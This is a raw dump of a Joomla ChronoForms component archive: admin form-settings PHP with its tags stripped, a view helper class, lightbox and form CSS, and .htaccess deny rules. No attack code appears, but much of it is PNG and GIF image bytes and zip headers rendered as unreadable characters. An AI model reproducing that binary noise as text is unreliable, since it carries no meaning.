'')), 'smalldesc' => 'Some data you may like to include into the < form .... > tag, e.g: onsubmit="someJSFunction();".')); ?> input('params[submit_action]', array('type' => 'select', 'label' => 'Submit action', 'value' => $params->get('submit_action', 'submit'), 'options' => array('submit' => 'Submit', 'self' => 'Self'), 'default' => 'submit', 'smalldesc' => 'Select wheather the form should be submitted to usual onSubmit event or to the same loading event.')); ?> input('params[add_form_tags]', array('type' => 'select', 'label' => 'Add form tags', 'value' => $params->get('add_form_tags', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'You may have a good reason to disable the form tags, but in this case your form will not be submittable.')); ?> input('params[relative_url]', array('type' => 'select', 'label' => 'Relative URL', 'value' => $params->get('relative_url', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'do you want the action url to be relative to the current loaded form url ? useful to make your form submit to the same page its currently loaded at, when its inside a content page or a module.')); ?> input('params[dynamic_files]', array('type' => 'select', 'label' => 'Dynamic Files', 'value' => $params->get('dynamic_files', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'Load the form JS/CSS code inside a dynamic file instead of the page head, useful in few situations and to tidy up the page header.')); ?> input('params[handle_arrays]', array('type' => 'select', 'label' => 'Handle arrays', 'value' => $params->get('handle_arrays', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'Submitted values of type arrays (like checkboxes groups) will be concatenated into 1 string.')); ?> input('params[handle_arrays_skipped]', array('type' => 'text', 'label' => 'Skipped array fields', 'class' => 'big_input', 'smalldesc' => 'List of fields names which may hold arrays and should be skipped of being handled, e.g: field1,field2,..etc')); ?> input('params[debug]', array('type' => 'select', 'label' => 'Debug', 'value' => $params->get('debug', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'The debug should show some useful info about the form data and flow when loaded and/or submitted.')); ?> input('params[enable_plugins]', array('type' => 'select', 'label' => 'Enable Joomla plugins', 'value' => $params->get('enable_plugins', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'You can enable Joomla plugins inside your form, may cause unexpected results sometimes.')); ?> input('params[show_top_errors]', array('type' => 'select', 'label' => 'Show Top Errors', 'value' => $params->get('show_top_errors', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'Do you want any form errors to be listed above the form ?')); ?>
      DatePicker Settings input('params[datepicker_config]', array('type' => 'text', 'label' => 'DateTime Picker config', 'class' => 'big_input', 'style' => 'width:700px;', 'maxlength' => 500, 'value' => $params->get('datepicker_config', ''), 'smalldesc' => "Enter any extension config to the default datepicker classes loaded, this will affect all the default date fields in the form, custom ones will not be affected, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> input('params[datepicker_type]', array('type' => 'select', 'label' => 'DatePicker Type', 'value' => $params->get('datepicker_type', 0), 'options' => array(0 => 'Default (by MonkeyPhysics)', 1 => 'Mootools DatePicker'), 'default' => 0, 'smalldesc' => 'Select the date/time picker type you want to load, the "Mootools" picker is available for J1.6 and later only, selecting this option in J1.5 will simply load the default picker.')); ?> input('params[datepicker_moo_style]', array('type' => 'select', 'label' => 'Moo DatePicker Style', 'value' => $params->get('datepicker_moo_style', 'datepicker_dashboard'), 'options' => array('datepicker_dashboard' => 'DashBoard', 'datepicker_jqui' => 'JQUI', 'datepicker_vista' => 'Vista'), 'default' => 'datepicker_dashboard', 'smalldesc' => 'Select the Mootools datepicker style, this is available for Joomla 1.6 and above ONLY.')); ?>
      tabEnd(); ?> tabStart('code'); ?> input('form_type', array('type' => 'select', 'label' => 'Form type', 'options' => array(0 => 'Custom', 1 => 'Wizard'), 'default' => 0, 'smalldesc' => 'Custom forms HTML code will not be affected when using it in the wizard, Wizard forms code will be overwritten though.')); ?> input('content', array('type' => 'textarea', 'label' => 'HTML code', 'rows' => 30, 'cols' => 100, 'smalldesc' => 'May contain PHP code with tags', 'value' => ($form ? htmlspecialchars($form->content) : ''))); ?> tabEnd(); ?> tabStart('jsval'); ?> input('params[enable_jsvalidation]', array('type' => 'select', 'label' => 'Enable JS Validation', 'value' => $params->get('enable_jsvalidation', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0)); ?> input('params[jsvalidation_errors]', array('type' => 'select', 'label' => 'Validation Errors', 'value' => $params->get('jsvalidation_errors', 1), 'options' => array(0 => 'Default', 1 => 'Fields Titles'), 'default' => 1, 'smalldesc' => 'Should the library use the field title as the error message if exists ? the Default option will ignore the fields titles and use the error messages in the language files.')); ?> input('params[jsvalidation_theme]', array('type' => 'select', 'label' => 'JS Validation Theme', 'value' => $params->get('jsvalidation_theme', 'classic'), 'options' => array('classic' => 'Classic', 'blue' => 'Blue', 'green' => 'Green', 'red' => 'Red', 'grey' => 'Grey', 'white' => 'White'), 'default' => 'classic')); ?> input('params[jsvalidation_lang]', array('type' => 'select', 'label' => 'JS Validation Language', 'value' => $params->get('jsvalidation_lang', 'en'), 'options' => array('en' => 'English', 'fr' => 'French', 'de' => 'Deutsch', 'nl' => 'Dutch', 'es' => 'Spanish', 'da' => 'Danish', 'it' => 'Italian', 'jp' => 'Japanese', 'cn' => 'Chinese', 'ru' => 'Russain', 'pt' => 'Portugese', 'gr' => 'Greek', 'tr' => 'Turkish', 'pl' => 'Polish', 'ro' => 'Romanian', 'no' => 'Norwegian bokmål', 'fa' => 'Farsi', 'lv' => 'Latvian', 'sl' => 'Slovenščina', 'cz' => 'Čeština'), 'default' => 'en')); ?> input('params[jsvalidation_showErrors]', array('type' => 'select', 'label' => 'Errors event', 'value' => $params->get('jsvalidation_showErrors', 0), 'options' => array(0 => 'onSubmit', 1 => 'onSubmit & onBlur'), 'default' => 0)); ?> input('params[jsvalidation_errorsLocation]', array('type' => 'select', 'label' => 'Errors location', 'value' => $params->get('jsvalidation_errorsLocation', 1), 'options' => array(1 => 'Tips (default)', 3 => 'After element'), 'default' => 1, 'smalldesc' => 'Requires the fields titles errors setting enabled!')); ?> tabEnd(); ?> tabStart('admin_actions'); ?> input('params[adminview_actions]', array('type' => 'text', 'label' => 'Admin View Functions', 'class' => 'big_input', 'value' => $params->get('adminview_actions', ''), 'smalldesc' => 'list of form events to be listed in the index page for this form, please use this format:
      form_event:Function Title')); ?> input('params[dataview_actions]', array('type' => 'text', 'label' => 'Data View Functions', 'class' => 'big_input', 'value' => $params->get('dataview_actions', ''), 'smalldesc' => 'list of form events to be listed in the data view page for this form, please use this format:
      form_event:Function Title')); ?> tabEnd(); ?> tabStart('apps'); ?> input('app', array('type' => 'text', 'id' => 'app', 'label' => 'Form App', 'class' => 'medium_input', 'smalldesc' => 'The app name under which this form will be listed, leave empty to list under "Default" app.')); ?> input('params[app_exclusive]', array('type' => 'select', 'label' => 'App Exclusive', 'value' => $params->get('app_exclusive', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => "Enable this if you want to stop the form events from beind processed if the form not loaded through the parent App (Extension).")); ?> tabEnd(); ?> tabStart('data_view'); ?> form_actions)){ foreach($form->form_actions as $action){ if($action->type == 'db_save' || $action->type == 'db_record_loader' || $action->type == 'db_multi_record_loader'){ $action_params = new JParameter($action->params); $table_name = $action_params->get('table_name', ''); if(!empty($table_name)){ $tables[] = $table_name; } } } } $tables = array_unique($tables); $tables_data = $database->getTableFields($tables, false); foreach($tables as $table){ $table_fields = array_keys($tables_data[$table]); foreach($table_fields as $k => $v){ unset($table_fields[$k]); $table_fields[$v] = $v; } echo $HtmlHelper->input('params[dataview_fields_'.$table.']', array('type' => 'select', 'multiple' => true, 'size' => 8, 'label' => 'Data View ('.$table.')', 'value' => explode(",", $params->get('dataview_fields_'.$table, '')), 'options' => $table_fields, 'smalldesc' => 'Select the table fields to appear in the data view for this table.')); } if(empty($tables)){ echo "There are no DB tables connected to this form to configure."; } ?> tabEnd(); ?> input('id', array('type' => 'hidden')); ?>
      PK@y>\O5components/com_chronoforms/admin.chronoforms.html.phpnuW+AaddStyleSheet(JURI::Base().'components/com_chronoforms/css/cc.css'); //admin links JSubMenuHelper::addEntry(JText::_('COM_CHRONOFORMS_FORMS_MANAGER'), 'index.php?option=com_chronoforms'); JSubMenuHelper::addEntry(JText::_('COM_CHRONOFORMS_WIZARD'), 'index.php?option=com_chronoforms&task=form_wizard'); JSubMenuHelper::addEntry(JText::_('COM_CHRONOFORMS_EASY_WIZARD'), 'index.php?option=com_chronoforms&task=form_wizard&wizard_mode=easy'); JSubMenuHelper::addEntry(JText::_('COM_CHRONOFORMS_VALIDATE'), 'index.php?option=com_chronoforms&task=validatelicense'); JSubMenuHelper::addEntry(JText::_('COM_CHRONOFORMS_UPDATES'), 'index.php?option=com_chronoforms&task=updates'); $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ JHtml::_('behavior.framework', true); }else{ $database = JFactory::getDBO(); $query = "SELECT `published` FROM `#__plugins` WHERE `element` = 'mtupgrade'"; $database->setQuery($query); $published = $database->loadResult(); if((int)$published == 0){ echo '
      Warning, your "Mootools upgrade" Joomla plugin is DISABLED, please ENABLE it under the Joomla "Plugins Manager" in order to have the wizard features working.
      '; } } class HTML_Admin_ChronoForms { public static function form_wizard($form = null, $formactions = null){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."form_wizard.php"); echo JHTML::_('behavior.keepalive'); } public static function index($forms = array(), $pageNav = null, $apps = array(), $params = null){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."index.php"); } public static function edit($form = null){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."edit.php"); echo JHTML::_('behavior.keepalive'); } public static function create_table($row = null, $defaults = array()){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."create_table.php"); echo JHTML::_('behavior.keepalive'); } public static function list_data($table_name = '', $table_fields = array(), $table_data = array(), $pageNav = null){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."list_data.php"); } public static function show_data($table_name = '', $table_fields = array(), $row_data = array()){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."show_data.php"); } public static function validatelicense($params){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."validatelicense.php"); } public static function restore_forms(){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."restore_forms.php"); echo JHTML::_('behavior.keepalive'); } public static function install_action(){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."install_action.php"); echo JHTML::_('behavior.keepalive'); } public static function updates(){ require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."views".DS."updates.php"); echo JHTML::_('behavior.keepalive'); } }PK@y>\jZ2components/com_chronoforms/css/SqueezeBox/bg_n.pngnuW+APNG  IHDR(X pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F,IDATxb``db`!F a0!qPpQE1H/`ZIENDB`PK@y>\4components/com_chronoforms/css/SqueezeBox/index.htmlnuW+APK@y>\g} ( ( 8components/com_chronoforms/css/SqueezeBox/SqueezeBox.cssnuW+A/** * SqueezeBox - Expandable Lightbox * * Allows to open various content as modal, * centered and animated box. * * @version 1.1 rc4 * * @license MIT-style license * @author Harald Kirschner * @copyright Author */ #sbox-overlay { position: absolute; background-color: #000; left: 0px; top: 0px; zoom: 1; } #sbox-window { position: absolute; background-color: #fff; text-align: left; overflow: visible; padding: 10px; /* invalid values, but looks smoother! */ -moz-border-radius: 3px; -webkit-border-radius: 3px; } #sbox-btn-close { position: absolute; width: 30px; height: 30px; right: -15px; top: -15px; background: url(closebox.png) no-repeat center; border: none; } .sbox-window-ie6 #sbox-btn-close { background-image: url(closebox.gif); } .sbox-loading #sbox-content { background-image: url(spinner.gif); background-repeat: no-repeat; background-position: center; } #sbox-content { clear: both; overflow: auto; background-color: #fff; height: 100%; width: 100%; } .sbox-content-image#sbox-content { overflow: visible; } #sbox-image { display: block; } .sbox-content-image img { display: block; width: 100%; height: 100%; } .sbox-content-iframe#sbox-content { overflow: visible; } /* Hides scrollbars */ .body-overlayed { overflow: hidden; } /* Hides flash (Firefox problem) and selects (IE) */ .body-overlayed embed, .body-overlayed object, .body-overlayed select { visibility: hidden; } #sbox-window embed, #sbox-window object, #sbox-window select { visibility: visible; } /* Shadows */ .sbox-bg { position: absolute; width: 33px; height: 40px; } .sbox-bg-n { left: 0; top: -40px; width: 100%; background: url(bg_n.png) repeat-x; } .sbox-bg-ne { right: -33px; top: -40px; background: url(bg_ne.png) no-repeat; } .sbox-bg-e { right: -33px; top: 0; height: 100%; background: url(bg_e.png) repeat-y; } .sbox-bg-se { right: -33px; bottom: -40px; background: url(bg_se.png) no-repeat; } .sbox-bg-s { left: 0; bottom: -40px; width: 100%; background: url(bg_s.png) repeat-x; } .sbox-bg-sw { left: -33px; bottom: -40px; background: url(bg_sw.png) no-repeat; } .sbox-bg-w { left: -33px; top: 0; height: 100%; background: url(bg_w.png) repeat-y; } .sbox-bg-nw { left: -33px; top: -40px; background: url(bg_nw.png) no-repeat; }PK@y>\)|T2components/com_chronoforms/css/SqueezeBox/bg_s.pngnuW+APNG  IHDR! 4 pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F+IDATxb`0fb`fb*cdž C-IENDB`PK@y>\!!5components/com_chronoforms/css/SqueezeBox/spinner.gifnuW+AGIF89a? %%%666DDDLLLTTT[[[dddlllttt{{{! NETSCAPE2.0!?,n RC~oY-1JeF$v1_oa SFr29?,  8:BS".J#EJ')C-W7"# ,W6C.&>K,C9!;K 6?>$'75-8)+b1)#/(?5)?:>!?!4W1/? >8K>?$:IBA!?, Xp$zD+!=3~/T))@BXr C Ȅ w6D(>IB$0B1D3,?:%A!?,QpXi Bc~6CY[@~g#lAPT:ȆE ~'FD2:C<7 >B.%HMC"31WBA!?, OLH,M?ܢU2? 4B0%Y*@~7jP/D~ JH).{?(<{?A!?,PoY _);^dOXʱ8"$ gr)12Db8 ?*=B1f.f6^A!?, OpňB,CwȅFU!2d21AHߢx$- @~-X=? ?(D0D =?NCA!?, VpH̸S ɼ>SHT.YB 8dDA6 )hB d+h ? ?,C"+?=2"C=a5 qG>7B OGA!?, N0 BEp ! CzZS+䞞_` ~ꩠ8VH( ?4G.M? ?6zG_?HA!?, U3ȟ!B_vѣu SV1 FY꓾M ݘ]>ZX*X "/I8??PG/ )??8i$>?A!?,SWW O\~AWP~(9Fñ6js|G ! 5!'7?&*?0)#C:?!C1/? A;PK@y>\OTvv6components/com_chronoforms/css/SqueezeBox/closebox.pngnuW+APNG  IHDR;0 pHYs  gAMA cHRMmsql1?IDATxbdό?~`'czz: i~988?p?P  Y]]UCCHs-fyfffAfttt?|իW~P_  F2(!۱Z k`h>S^:ug`:7- t NPs ] xq0d5 "B)HPLLƍd_͜9󗛛7koo߿wHccc9` ̄ aBO]eժU@3~ ڹs`~A3g/(r!P1bWW04ϟ?0!}&d) ԶY>}@)))YP;@v1̷@#"""eݻ-0b)2e3q b P8@Algg`D_5J}ƈc11/?Y .ӧAf}-ހ7dˁ[7pEpB+//@1Pp(yxx XRRf֭X*@Yc?yCI߿T @( x߿,޽˗/(r?lLd)02C-f c|Ý;wX LڇwȆֲ `V3''' h把(Nг0}FJyNNXv`a"bB;ԟǏ TL7o9fd=˗W.]Z `>@MM-o\ %WTIz(:t >mg'ٽˀy<|I NHH-2D9Pd,;en`VHH(9%%e&,@j)X+H?a(Ķ@1#8I8\(`__6components/com_chronoforms/css/SqueezeBox/closebox.gifnuW+AGIF89a eee%%%===***000qqqRRR򠠠MMMBBB!,` "2B1p Bb ;t H$ :^!l$ǩ8TtH4+#  \&Md`%A$0A]B1z~ B&Ny`A(WyN'W{'NyB&]iAyB*AVBfp." aWd; MH$\2components/com_chronoforms/css/SqueezeBox/bg_e.pngnuW+APNG  IHDR!A pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F0IDATxTű 01Ky^J1=eĨ|RpIENDB`PK@y>\nU2components/com_chronoforms/css/SqueezeBox/bg_w.pngnuW+APNG  IHDR!A pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F'IDATxbd`dF4D23010Aif$:K_IENDB`PK@y>\MntG3components/com_chronoforms/css/SqueezeBox/bg_se.pngnuW+APNG  IHDR!! pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F>IDATxڜk ?C$])k:XaFQJC&B{RzjjX?>UNy4[:I"xNP;h 99^&ɹdY<Z"'@epS=RN. !z1$2>LS9Po5fb!yC| V{4cPCvxB $,㠇p}!'dfĪ'NjZs\7]̶P/OŞd~vvxS7S 鶳?%IENDB`PK@y>\)3components/com_chronoforms/css/SqueezeBox/.htaccessnuW+A Order allow,deny Deny from all PK@y>\WW3components/com_chronoforms/css/SqueezeBox/bg_ne.pngnuW+APNG  IHDR!([, pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_FIDATxڬV0Ec{!B e}'C1L#B3d` e#LZ9 b<eU=Lìl dD Fs(Ď=[,Y0cH5(a%ٱeŒSe9*q́VF]du+oyenĖUx烳(čO89ԻW1/q̘*VB8*+U!_Qn3ܞ*|IENDB`PK@y>\3components/com_chronoforms/css/SqueezeBox/bg_sw.pngnuW+APNG  IHDR!! pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_FIDATxڌ Cvtil a@ zsF.{VT ]9˻s|tD\s3components/com_chronoforms/css/SqueezeBox/bg_nw.pngnuW+APNG  IHDR!([, pHYs  iCCPPhotoshop ICC profilexc``$PPTR~!11 !/?/020|pYɕ4\PTp(%8 CzyIA c HRvA cHvH3c OIjE s~AeQfzFcJ~RBpeqIjng^r~QA~QbIj ^<#U*( >1H.-*%CC"C= o]KW0cc btY9y!K[z,٦}cg͡3#nM4}2?~ 4]gAMA|Q cHRMz%u0`:o_F0IDATxڤ DKe8iu9lC7NxE?TXz@^hCglP p`~!ZȀYh)CXvER2;UG܋o,: H! B $A:tm'wCxBT_F_&*M\͍t_;6JIENDB`PK@y>\)(components/com_chronoforms/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\s((3components/com_chronoforms/css/frontforms_tight.cssnuW+A/* * ChronoCMS (chronocms.com) * Copyright 2010 - chronocms.com * license : Commercial * Redistributions of files must retain the above copyright notice. */ /*================ FORMS STYLES =================*/ .ccms_form_element p { margin-bottom: 9px;} .ccms_form_element input, textarea, input[type="file"] {padding: 4px !important; border: 1px solid #d3d3d3; margin-bottom: 3px; } .ccms_form_element select { padding: 3px; border: 1px solid #d3d3d3; min-width: 100px;} /*.ccms_form_element select { min-width: 163px; }*/ .ccms_form_element label { float: left; width: 150px; line-height: 18px; margin: 3px 0 6px ; font-weight: bold;} .ccms_form_element fieldset { background-color:#FAFAFA; border:1px solid #EEEEEE; padding:15px; width:auto; } .ccms_form_element fieldset legend {font-weight:bold; margin-left:-10px; padding:10px; } .ccms_form_element { margin-bottom: 2px; position: relative; padding: 1px 0px 1px 5px; /*border-bottom: 1px solid #dddddd;*/ clear: both;} /*.cfdiv_select select, .cfdiv_text input, .cfdiv_text label { float: left; }*/ .cfdiv_text label { width: 150px; } .small-message, .error-message { line-height: 18px; margin: 4px 0 0 155px; font-size: 11px; display: block; clear: both;} .small-message { color: #999999; font-style: italic; } .error-message { color: red;} .required input { border-color: #cccccc; background-color: #f9f9f9;} .form-error { background-color: #fff4f4; border: 1px solid #ffd4d4;} .tooltipimg { position: absolute; top: 5px; right: 10px; line-height: 21px; color: #999999; } .tooltipimg a {display: inline-block; font-weight: bold; color: #999999; line-height: 21px; height: 20px; background-color: #eeeeee; width: 20px; text-align: center;} .tooltipimg a:hover { color: white; text-decoration: none;} .cfdiv_checkboxgroup label, .cfdiv_radiogroup label, .cfdiv_checkbox label, .cfdiv_radio label { font-weight: normal; /*margin-bottom: 5px;*/margin: 6px 0 9px; } .full_label {width: 70% !important;} .cfdiv_checkboxgroup label:first-child, .cfdiv_radiogroup label:first-child, .cfdiv_checkbox label:first-child , .cfdiv_radio label:first-child, .cfdiv_checkbox label:first-child, .cfdiv_checkboxgroup label:first-child { font-weight: bold !important; margin-bottom: 9px;} .ccms_form_element .button { background-color: #37a8f0; border: 0; padding: 5px 7px; font-size: 11px; color: white; text-decoration: none; } .ccms_form_element .button:hover { background-color: #999999; text-decoration: none; } /* input sizes */ .small_input { width: 200px !important;} .medium_input { width: 350px !important; } .big_input, .title_input { width:475px !important; } .title_input { padding: 8px 5px; font-size: 18px; margin-bottom: 15px; float: left !important;} /* input types */ .ccms_form_element input[type="checkbox"], /*.ccms_form_element input[type="radio"] { border-color: transparent; margin: 8px 9px 0 0; clear: none; }*/ .ccms_form_element input[type="radio"] { padding: 0 0 0 0 !important; background-color: transparent; border-color: transparent; margin: 10px 5px 10px 5px; clear: none; } /* fixes for radio and checkboxes*/ .cfdiv_checkboxgroup label, .cfdiv_radio label { width: auto; margin-right: 25px; } .cfdiv_checkboxgroup label:first-child, .cfdiv_radio label:first-child { width: 150px; margin-right: 0;} .cfdiv_checkboxgroup label, .cfdiv_radio label, .cfdiv_checkboxgroup input, .cfdiv_radio input { float: left; } .label_right{float: left; margin-left: 150px !important;} .label_over label:first-child { float: none !important; } .label_over label:first-child { display: block; width:95% !important; } .label_over .small-message, .label_over .error-message { margin-left: 0;} .radios_over label, .radios_over input { float: left !important; } .radios_over input { clear: left !important; } /* other fixes */ .fc-tbx{ z-index:9999; } .validation_label{ display:block; width:100%; } .chrono_captcha_input{ vertical-align:top; } /*.clear{ clear:both; visibility:hidden; }*/ .clear:after { content:"."; display:block; height:0; clear:both; visibility:hidden; } .multiline_start{ /*clear:none !important;*/ float: left !important;} .multiline_add{ clear:none !important; float: left !important; padding-left: 10px !important; }PK@y>\%components/com_chronoforms/css/cc.cssnuW+A.icon-32-copy_f2 { background-image:url(../images/copy_f2.png); } .icon-32-extensions { background-image:url(../images/extensions.png); } .icon-32-properties_f2 { background-image:url(../images/properties_f2.png); } .icon-32-wizard { background-image:url(../images/wizard.png); } .icon-32-bKey { background-image:url(../images/bkey.png); } .icon-32-transform { background-image:url(../images/transform.png); } .icon-32-backup { background-image:url(../images/backup.png); } .icon-32-dbrestore { background-image:url(../images/dbrestore.png); } .icon-32-fullscreen_b { background-image:url(../images/fullscreen_b.png); background-position: center center; background-repeat: no-repeat; } .icon-32-preview { background-image:url(../images/preview.png); }PK@y>\)3components/com_chronoforms/css/formwizard/.htaccessnuW+A Order allow,deny Deny from all PK@y>\G2components/com_chronoforms/css/formwizard/drag.pngnuW+APNG  IHDRĴl;tEXtSoftwareAdobe ImageReadyqe<*IDATxMKQ;""(0A |6[ !ZYD?$m ?s$IƱ2nLkRxF>K~^KE/Z6n03t p'&vbK؆G0{ηw GLB[i g8͸ao*TP,:hZ:^:kuCYY:}lhzP@ۊ~}Ew{:E4LT8uӡ+ɋ`HJU8IENDB`PK@y>\ff2components/com_chronoforms/css/formwizard/sort.pngnuW+APNG  IHDR;֕JgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATx|Ihik%N:ݶ=I4ɸ!A2AB%:s&IAm(fhL'&ꭖJ[ǐ XF2a[pjs~α7Ǎ`0!:۹sM]5d߳@ǁ?7\05SfQGQI knoW~x4VN#y2<\zJJ4components/com_chronoforms/css/formwizard/delete.gifnuW+AGIF89aHUdQbξDM^gKY [ PK\cWPDKHl'^FEWMNIRҾоK_Y X j#aLMBMIѾH`TRf!H,HH2 0H@- # %H C&DFDB7F  <)!6CE FE:G4 FFE8+FD1̅EEEC95C3> A($C GG" Np:0;ǁ8 ; zaQ;PK@y>\;k'..1components/com_chronoforms/css/formwizard/ccc.gifnuW+AGIF87a, ڋg;PK@y>\qOO5components/com_chronoforms/css/formwizard/loading.gifnuW+AGIF89a~;91ըͷ! NETSCAPE2.0!Created with ajaxload.info! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU,\ zbbh%~{}$ lD p Z (Z'&%$mq"U  O`ddEvڹ`Ŋ.^̨#Ŏ8vƏ#QDY:cAD8oia'HjzEShK0&I9jekPC{lRK/>}y_UmbՉvkӺxZ x;3չtUË0(0! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D+i ~%$}rp lD %ZZ('& pmqÿɾʽ"Dppxq[ *XXn,8Q"Ŋ.b0#GA^IdVy%0c|)3nrԩE.:B'E4RaQ5mBhN;kС^4f۰kfnWeU(iPUִJU_*;1/L0݄=/?pM UKZI6`ƈ!O3jϭE6漰OC٭`q]#Dr ~*B^ x@u4ȓ  !82w5 ɀTZgThfFg (0ʼn(O0(# !! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D;1~/z} u%w$vtrp lD %Z(Z'& pmqĿ"Dppm.MVD`!!‹ab%NȨÍ1rdD 0X%",&X֯iS҄\xhETOm pո^{Wճ|ipPB +b,Q潍>{Ԝ3iIF < P6ڴ;mx9M5-Xs؜G.mڀЦ'C6MvPy#ZE'iRR?{Xe.I8N4@A! $xxɀTY (iv(,`S(4 8<! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D;1=O  Zx|rzp lD %Z('& Z$#"mqľ"pUpp]UC8#F(qℊ1>q?Q8bI#+pP†Eh ScM7+("ϟ>{3ETi+S`*=j*N:jt(Q^rt,MLY:UukٷU^ AפgfsU[٥lP3Ofȑdg> -Z3fΙ;< ɫ 0^=zp$1dڲo&zZNq\6ϝ++fڀԢ/|o%D%TRMZ/*իV2p4 Ҹ>'" `;$ G%uEgdvE-%Ĉ$h: d,0>Ì4h0! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D;1=Ox Zzp lD %Z('& Z$#mq¿ý"pUpp&W&+"YXgC B qbE/F6Jpc KXᡈ^^YD.Ϟ<B'ETT~Qp-U9X ;تܯu]\R&tjQcFGf.2f&#L(3. ͓W?E/PA{`k_ې/Ӷ[sɈEvZ+pQjTRҧ:իhW/q7JO7,H"65GwVgThfF (0ʼn(O0(# !! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D;1=Ox|rZ zp lD %Z('& Z$mq¼¿"pUpp&+"xUÇB8a"E +bh~ " pC-8b͉7!|) @)4N7QXy8=iF9gU>ZԨC"T%"N]Vj[o@Qd),e3X ;j\sTJ&|1fɋ5vIC Z$ Q:f6x*|7O^=pͮ}aK9M{i \94ϝ#6y2l`=YnDNHe*RңRTV;57n6 'R!' $ H;$ $wEgdvEĈ$h:d,0>Ì4h0! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU &D;1=Ox|rzZ p lD %Z('& Zpmq¼տ"Dpp&+"xUÇB8a"E +bhD  rjD-8b͉7_ aO""*4(ѡ7QXyB;iF9gU`J^%haFqZ9L4}>ZS@H _ f՜WwftϮ`&M? csWa:ծc%̀-ZrUL5RMT4KbdgI9S]V< ͫOzp͏۳UT]Ж`vr˔9uӟ ض[qIvBRTyRM'=೒%V,pbz3!rX"&8 < I#<"BkWdqƆv^q$h(ꐐS0 4h8! ,~ dihl'!tmx|3p(Ȥrl:Ш8<$؄vzxL.XEXU,\&{O{$}#z~Zr p  D Z('&%$#" pqտV ;5$c`: #B|(1"Ŋ.V( ' QdȌ| .+TFqfHqV)gDZJT@3ԔzjN;kPCJ0R1A-:mUWf9 (l 